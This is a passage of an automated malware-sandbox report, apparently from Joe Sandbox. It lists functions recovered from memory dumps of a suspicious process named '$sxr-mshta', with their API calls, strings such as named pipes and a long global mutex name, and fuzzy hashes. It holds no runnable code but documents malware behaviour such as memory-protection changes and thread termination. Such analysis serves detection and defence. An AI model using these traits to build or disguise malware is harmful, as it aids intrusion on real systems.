$sxr, xrefs: 000001A00BDB31FA

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $sxr
API String ID: 756756679-21942930
Opcode ID: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction ID: 33eb3282b218c19cc78fa336cd433ee6a73873a1329783a7bb5af254aea10028
Opcode Fuzzy Hash: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction Fuzzy Hash: B4319131702F51C6E7169F56AA40BA9B7A0FB4BBE4F098022AF490BB54FF38C4658705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7142F19D4 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7142F1A04
GetCurrentProcessId.KERNEL32 ref: 00007FF7142F1A12
GetCurrentThreadId.KERNEL32 ref: 00007FF7142F1A1E
GetTickCount.KERNEL32 ref: 00007FF7142F1A2A
GetTickCount.KERNEL32 ref: 00007FF7142F1A3A
QueryPerformanceCounter.KERNEL32 ref: 00007FF7142F1A55

Memory Dump Source

Source File: 0000000D.00000002.2917958810.00007FF7142F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7142F0000, based on PE: true

Associated: 0000000D.00000002.2917829662.00007FF7142F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918191653.00007FF7142F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7142f0000_$sxr-mshta.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 3aee56793f856ebc4bf5ed15d236b07679841bd6bfcb628e62788a85eda43e84
Instruction ID: 1e0d3b01b18e3688dbf7abcd0e9e32befc408565b2e96a9a683a8969ea94d6fa
Opcode Fuzzy Hash: 3aee56793f856ebc4bf5ed15d236b07679841bd6bfcb628e62788a85eda43e84
Instruction Fuzzy Hash: 00116322604F418AEB00EF71E8842A973E4FB0B768FC00A35EA5D47754DF7DD5A88350

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001A00BDB1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000001A00BDB1A58
PathFindFileNameW.SHLWAPI ref: 000001A00BDB1A67
lstrlenW.KERNEL32 ref: 000001A00BDB1A73
StrCpyW.SHLWAPI ref: 000001A00BDB1A86
CloseHandle.KERNEL32 ref: 000001A00BDB1A94

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction ID: 0d3655745c4bd35511f8e0446bd8bdc0053fb94c230b7bf30974b846344ff083
Opcode Fuzzy Hash: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction Fuzzy Hash: C0015B31301F4296EA11DF12A558799A7A1FB8EFD0F488036EE894B754EF38C986C749

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB3844 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001A00BDB3860
GetCurrentProcess.KERNEL32 ref: 000001A00BDB386E
VirtualProtectEx.KERNEL32 ref: 000001A00BDB3890
GetCurrentProcess.KERNEL32 ref: 000001A00BDB38B1
VirtualProtectEx.KERNEL32 ref: 000001A00BDB38D2
TerminateThread.KERNEL32 ref: 000001A00BDB38E1

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction ID: e5c9743fec3e8dea7fb27fc985ab4ff0a34a921c802a436df98a624ccde7c64f
Opcode Fuzzy Hash: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction Fuzzy Hash: 5E113C79702F4186FB669F25E6487A5B7A0BB4FBD1F044426E9490A354FF3DC008D706

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB9178 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001A00BDB91A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001A00BDB9238
RtlUnwindEx.NTDLL ref: 000001A00BDB9287

Strings

f, xrefs: 000001A00BDB91B6
csm, xrefs: 000001A00BDB921E

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction ID: 88d2c35e27e07476da248665ea38b5e5c73228512c8fa663cb3dae108a44664b
Opcode Fuzzy Hash: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction Fuzzy Hash: 76518F32712E80CAEB16CF15E654F99B795F38BBD4F568126EB064B788EB38C841C705

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001A00BDB1AD8
StrCmpNIW.SHLWAPI ref: 000001A00BDB1AF2
lstrlenW.KERNEL32 ref: 000001A00BDB1B01
StrCpyW.SHLWAPI ref: 000001A00BDB1B16

Strings

\\?\, xrefs: 000001A00BDB1AE6

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction ID: 2dae5752eb1238cd66e2d1fbdd6d7ba0a15588768efd58fc291d8b502ad4714a
Opcode Fuzzy Hash: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction Fuzzy Hash: B8F08172311E41D2E7618F10E6947D9AB60F74BBD8F848022EA494A554EF3CC688C705

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB3298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001A00BDB32BA
StrCpyW.SHLWAPI ref: 000001A00BDB32CA
StrCatW.SHLWAPI ref: 000001A00BDB32D6
PathCombineW.SHLWAPI ref: 000001A00BDB32E4

Strings

\\.\pipe\, xrefs: 000001A00BDB32B0

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction ID: 6f60aa4ffd1176d1df739e549224c5cb99eed977b7a2ef41b620533890ea14b8
Opcode Fuzzy Hash: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction Fuzzy Hash: 1AF05E70306F92D1EA018F53BA15299E621EB4FFE0F048132FE460BB28EE38C481C309

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBA1D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001A00BDBA1F4
GetProcAddress.KERNEL32 ref: 000001A00BDBA20A
FreeLibrary.KERNEL32 ref: 000001A00BDBA227

Strings

mscoree.dll, xrefs: 000001A00BDBA1EB
CorExitProcess, xrefs: 000001A00BDBA203

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction ID: ec7c768757244c4dacb1848278a7ed87cfb55973578f730c9e72d42b3f095e36
Opcode Fuzzy Hash: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction Fuzzy Hash: 63F03A71722F4191EF464F60E6947A4BB60AB4FBD0F44602AA90B4A260EF38C499CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB5250 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001A00BDB52D6

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction ID: 067530421aa415b3e426a8bb6027a005a3838962278c79eaf6e263697cb1c13f
Opcode Fuzzy Hash: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction Fuzzy Hash: 5002C83221AB84C6E761CF55F59079AB7A0F3DA784F114116FA8E87BA8EF79C444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDC0900 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001A00BDC0942
GetConsoleMode.KERNEL32 ref: 000001A00BDC0A00
GetLastError.KERNEL32 ref: 000001A00BDC0A8A

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction ID: d203cd5db921ee905cf7dc2ef50a84b419aa93113f07238f0b0c4a9b4c5914d4
Opcode Fuzzy Hash: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction Fuzzy Hash: 4581A032712E12C9FB569F648A407EDABA2F74FBD8F444217FA0A5B691EB348441C712

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB5890 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001A00BDB58A6

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction ID: 6e9532786cbdca0e156fbd0fb65b8a04cc612657cd6844af7565194307e7464a
Opcode Fuzzy Hash: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction Fuzzy Hash: 0561DA3661AB44C6EB619F15F55075AB7A0F39A788F110127FA8E8BBA4EB78C440CF05

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AAE1358 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001A00AAE1380
_set_statfp.LIBCMT ref: 000001A00AAE139B
_set_statfp.LIBCMT ref: 000001A00AAE13B7
_set_statfp.LIBCMT ref: 000001A00AAE13F3

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 5a1b5ca53786cbf6d39373e6ca6d626c02978b1a4149a11872ea8bd03b61494c
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: D9117372B56F2241F6A6916AD7953E91040AB7F3F4F184B28BA6607EDB8B3488C14203

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDC1F58 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001A00BDC1F80
_set_statfp.LIBCMT ref: 000001A00BDC1F9B
_set_statfp.LIBCMT ref: 000001A00BDC1FB7
_set_statfp.LIBCMT ref: 000001A00BDC1FF3

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: d88096662d0153a66654303d9494f0c836c1f1b875289841d42d898a64fec9e7
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: E211E733B47E2301F66A1965D7553E58A407B6F3F0F140626FA662E7D7EB684C81C202

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB3910 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001A00BDB3923
GetCurrentProcess.KERNEL32 ref: 000001A00BDB3956
VirtualProtectEx.KERNEL32 ref: 000001A00BDB3976
GetCurrentProcess.KERNEL32 ref: 000001A00BDB398F
VirtualProtectEx.KERNEL32 ref: 000001A00BDB39B0

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: 54e5756abe6fa3c76e3175197b53ca79500eb2761b0be7e8c833124ac9a39f69
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: E4113736706B41C3EB658F22E64478AB7B0F74BB90F054026EA880B794FF39C948D745

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AAD8595 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001A00AAD85A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001A00AAD8638

Strings

csm, xrefs: 000001A00AAD861E
f, xrefs: 000001A00AAD85B6

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction ID: f2f5e955dbec54537bdb701bd4e824a6fba55f67bea7c000e4027a097a2c200c
Opcode Fuzzy Hash: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction Fuzzy Hash: D651B2367136008AEB56DF15D604B9977A9F34FBD8F518220EA9747BC8EB38C9C18702

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AAD8578 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001A00AAD85A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001A00AAD8638

Strings

csm, xrefs: 000001A00AAD861E
f, xrefs: 000001A00AAD85B6

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction ID: d97fa706ac810d65f73ff12e11b1e4144ec2b971a006a521d2e836ccadbc7390
Opcode Fuzzy Hash: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction Fuzzy Hash: 57315A3131264096EB16DF15E944B9977A8F74FBD8F058214BE9707BC4DB3CC9818706

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB2744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001A00BDB2828
StrCpyW.SHLWAPI ref: 000001A00BDB2841

Strings

\\.\pipe\, xrefs: 000001A00BDB2833

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction ID: 06e2bf78dd25355b9647ceb32fbfced99056287e211598471632cd10ce9d7a91
Opcode Fuzzy Hash: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction Fuzzy Hash: A271B132702E85C2EA269E259A45BEAAB94F74F7D4F420017FD494BB88EF35C604C742

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB2530 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001A00BDB2617
StrCpyW.SHLWAPI ref: 000001A00BDB262E

Strings

\\.\pipe\, xrefs: 000001A00BDB2622

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction ID: 5a1792d0172c0542b728fed8180503d46c045727c5c6ccc8760714f537646b77
Opcode Fuzzy Hash: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction Fuzzy Hash: D251B933306BC1C2E6669E299254BEEEB51F78F7C0F160027ED850BB59EB39C5018B46

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDC06A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001A00BDC07BB
GetLastError.KERNEL32 ref: 000001A00BDC07DD

Strings

U, xrefs: 000001A00BDC0767

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction ID: c1a0a57d68e428412cd33225ca17d8cd7264e6bc02a32dc6e137868d2688e70a
Opcode Fuzzy Hash: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction Fuzzy Hash: 1341B232316A4592EB618F25E9443EABBA0F78A7D4F504122EE4D8B788EB38C441CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB2A08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000001A00BDB2A5D
CloseHandle.KERNEL32 ref: 000001A00BDB2A6B

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000001A00BDB2A4D

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction ID: 5c65c8e07f2e6bba86b1e0a57da172ad8599d3035f99905eedb36c8842fea66c
Opcode Fuzzy Hash: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction Fuzzy Hash: 2F217C36305B4182E662CF16AA40B9AEA90F79BBD0F064016AE894B754FF38C495C705

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB2AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000001A00BDB2B49
CloseHandle.KERNEL32 ref: 000001A00BDB2B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000001A00BDB2B39

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: e200cf13dc4769abfcf4598354e47784319e22ba1082438064a1e6d370fc1f80
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: 8A21AE32701B4182E7629F16BA44B9AFB90F78FB80F06402AEE494B758FF34C446C749

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBD760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001A00BDBD799
LCMapStringW.KERNEL32 ref: 000001A00BDBD821

Strings

LCMapStringEx, xrefs: 000001A00BDBD77C, 000001A00BDBD78D

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction ID: e994eeb8473ee2ce42edb99524e049a0a6f7113b340f99ecc08091389803b8a7
Opcode Fuzzy Hash: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction Fuzzy Hash: F511E536708B8086D6619F56B54079ABBA5F78EBD0F544126EE8D87B19EF38C450CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB9544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001A00BDB9588
RaiseException.KERNEL32 ref: 000001A00BDB95CE

Strings

csm, xrefs: 000001A00BDB95BB

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
